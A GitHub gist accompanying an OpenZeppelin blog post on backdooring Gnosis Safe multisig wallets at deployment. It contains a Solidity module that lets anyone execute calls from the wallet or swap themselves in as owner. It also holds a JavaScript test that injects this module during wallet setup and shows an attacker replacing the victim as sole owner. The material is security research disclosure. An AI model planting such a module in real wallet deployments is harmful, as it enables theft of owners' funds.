Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Deploying backdoored Gnosis Safe Multisig wallets: blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets
pragma solidity ^0.5.0;
import "@gnosis.pm/safe-contracts/contracts/base/Module.sol";
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
/*
* @notice UNSAFE CODE - DO NOT USE IN PRODUCTION
*/
contract ControllerModule is Module {
function setup() public {
setManager();
}
// Allows anyone to execute a call from the controlled wallet
function executeCall(address to, uint256 value, bytes memory data) public {
// `manager` represents the wallet under control
require(
manager.execTransactionFromModule(to, value, data, Enum.Operation.Call)
);
}
// Allows anyone to become the wallet's owner
function becomeOwner(address currentOwner) external {
executeCall(
address(manager),
0,
abi.encodeWithSignature(
"swapOwner(address,address,address)",
address(0x1),
currentOwner,
msg.sender
)
);
}
}
const { expect } = require('chai');
const { constants } = require('@openzeppelin/test-helpers');
const { contract, accounts, web3 } = require('@openzeppelin/test-environment');
const ProxyFactory = contract.fromArtifact('@gnosis.pm/safe-contracts/ProxyFactory');
const GnosisSafe = contract.fromArtifact('@gnosis.pm/safe-contracts/GnosisSafe');
const CreateAndAddModules = contract.fromArtifact('@gnosis.pm/safe-contracts/CreateAndAddModules');
const ControllerModule = contract.fromArtifact('ControllerModule');
const utils = require('./utils');
const [
deployer,
victim,
attacker
] = accounts;
describe('Backdooring a Gnosis Safe wallet during deployment', async function () {
beforeEach(async function () {
// Deploy Gnosis Safe implementation
this.gnosisSafeImpl = await GnosisSafe.new({ from: deployer });
// Deploy ProxyFactory contract
this.proxyFactory = await ProxyFactory.new({ from: deployer });
// Deploy CreateAndAddModules contract
this.createAndAddModules = await CreateAndAddModules.new({ from: deployer });
});
it('Adds a malicious module that allows to execute any kind of actions', async function () {
// Deploy attacker-controlled module
const controllerModuleImpl = await ControllerModule.new({ from: attacker });
// Get attacker module creation data.
// Note that the module will be behind a proxy
const controllerModuleCreationData = this.proxyFactory.contract.methods.createProxy(
controllerModuleImpl.address,
controllerModuleImpl.contract.methods.setup().encodeABI()
).encodeABI();
const createAndAddModulesData = this.createAndAddModules.contract.methods.createAndAddModules(
this.proxyFactory.address,
utils.createAndAddModulesData([controllerModuleCreationData])
).encodeABI();
const gnosisSafeInitData = this.gnosisSafeImpl.contract.methods.setup(
[victim], // owners
1, // threshold
this.createAndAddModules.address, // Gnosis Safe wallet will `delegatecall` this address ...
createAndAddModulesData, // ... using this data
constants.ZERO_ADDRESS, // fallbackHandler (irrelevant)
constants.ZERO_ADDRESS, // paymentToken (irrelevant)
0, // payment (irrelevant)
constants.ZERO_ADDRESS // paymentReceiver (irrelevant)
).encodeABI();
const { logs } = await this.proxyFactory.createProxy(
this.gnosisSafeImpl.address,
gnosisSafeInitData,
{ from: attacker } // The deployer could be the victim as well.
);
const gnosisSafeProxy = await GnosisSafe.at(logs[1].args.proxy);
// Ensure proxy correctly points to Gnosis Safe legitimate implementation
expect(
await web3.eth.getStorageAt(gnosisSafeProxy.address, 0)
).to.eq(this.gnosisSafeImpl.address.toLowerCase());
// Ensure the victim got added as the sole owner of the wallet
expect(
await gnosisSafeProxy.getOwners({ from: attacker })
).to.deep.eq([victim]);
// Ensure the attacker's module (behind a Proxy) is registered as a valid module in the wallet
const controllerModuleProxy = await ControllerModule.at(logs[0].args.proxy);
expect(
await web3.eth.getStorageAt(controllerModuleProxy.address, 0)
).to.equal(controllerModuleImpl.address.toLowerCase());
expect(
await gnosisSafeProxy.getModules({ from: attacker })
).to.deep.eq([controllerModuleProxy.address]);
// Ensure the manager of the attacker-controlled module is the legitimate wallet
expect(
await controllerModuleProxy.manager()
).to.eq(gnosisSafeProxy.address);
// Attacker can become the owner of the wallet
// Just for demo purposes, calling `executeCall` passing ABI, but might as well call `becomeOwner`
await controllerModuleProxy.executeCall(
gnosisSafeProxy.address,
0, // msg.value
gnosisSafeProxy.contract.methods.swapOwner(
web3.utils.padLeft("0x1", 40), // Gnosis Safe sentinel
victim,
attacker
).encodeABI(),
{ from: attacker }
);
expect(
await gnosisSafeProxy.getOwners({ from: attacker })
).to.deep.eq([attacker]);
});
});
const { web3 } = require('@openzeppelin/test-environment');
// Taken (and adapted) from https://github.com/gnosis/safe-contracts/blob/v1.1.1/test/utils/general.js#L9
const ModuleDataWrapper = new web3.eth.Contract([{"constant":false,"inputs":[{"name":"data","type":"bytes"}],"name":"setup","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]);
function createAndAddModulesData(dataArray) {
// Remove method id (10) and position of data in payload (64)
return dataArray.reduce(
(acc, data) => acc + ModuleDataWrapper.methods.setup(data).encodeABI().substr(74),
"0x"
);
}
Object.assign(exports, {
createAndAddModulesData
})
@enderphan94

This comment has been minimized.

Copy link

@enderphan94 enderphan94 commented Mar 17, 2020

it seems to be injected during the deployment aka internal attack but after deployed it's impossible to inject the backdoor, am I right?

@tinchoabbate

This comment has been minimized.

Copy link
Owner Author

@tinchoabbate tinchoabbate commented Mar 20, 2020

That's correct. You can read more about the attack vectors and how they work here: https://blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.